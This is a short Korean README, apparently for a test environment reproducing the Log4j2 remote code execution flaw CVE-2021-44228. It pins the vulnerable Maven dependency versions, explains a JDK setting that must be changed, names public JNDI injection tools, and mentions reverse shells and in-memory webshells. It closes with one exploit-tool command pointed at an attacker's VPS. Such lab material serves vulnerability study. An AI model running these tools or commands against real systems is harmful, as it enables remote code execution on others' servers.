
Apache Log4j2 RCE( CVE-2021-44228) 검증 환경
2021.12.09부터
https://mp.weixin.qq.com/s/yck74F9p9QhVw_3ykzVoSg
maven으로 관련 패키지 및 취약점 버전 범위 포함
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.1</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>


jdk 버전 관련, JDK 11.0.1, 8u191, 7u201, 6u211 이후에는 수동으로 trustURLCodebase를 true로 설정해야 함
자세한 학습은 https://blog.0kami.cn/2020/03/01/java/jndi-with-ldap/ 참조
활용 방식: jndi 주입 도구와 결합 가능, 예: JNDI-Injection-Exploit 、fastjson_rce_tool 、 JNDIExploit
또한 도구를 결합하여 다양한 공개된 리버스 쉘 방식 및 메모리 말 주입 방식을 구현할 수 있음
#
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "open -a /System/Applications/Calculator.app" -A your_vps_ip

TODO
